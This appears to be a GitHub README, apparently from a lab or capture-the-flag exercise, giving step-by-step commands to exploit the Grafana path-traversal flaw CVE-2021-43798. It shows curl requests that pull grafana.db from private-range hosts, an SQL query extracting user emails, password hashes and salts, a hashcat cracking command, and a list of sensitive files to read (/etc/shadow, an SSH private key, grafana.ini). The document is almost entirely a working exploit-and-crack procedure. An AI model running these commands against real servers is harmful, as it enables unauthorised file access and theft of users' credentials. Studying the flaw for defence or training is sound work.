Skip to content

Latest commit

 

History

History
30 lines (22 loc) · 933 Bytes

README.md

File metadata and controls

30 lines (22 loc) · 933 Bytes
Raw

Chain CVE-2021-43798 with grafana.db files

  1. Get the database using CVE-2021-43798 curl 'http://10.10.77.156:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' --path-as-is --output grafana.db

  2. Query the database and extract email, password and salt select email,password,salt from user;

  3. Save that output to a file (look at hashes.txt)

  4. Run decoder.py script python3 decoder.py > hash

  5. Run hashcat to crack the passwords hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt

Interesting files to analyze if the above does not work

/etc/passwd
/etc/shadow
/etc/hostname
/etc/grafana/grafana.ini
/home/grafana/.ssh/id_rsa
/var/lib/grafana/grafana.db
-> curl -o grafana.db --path-as-is http://10.9.49.222:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db

Sources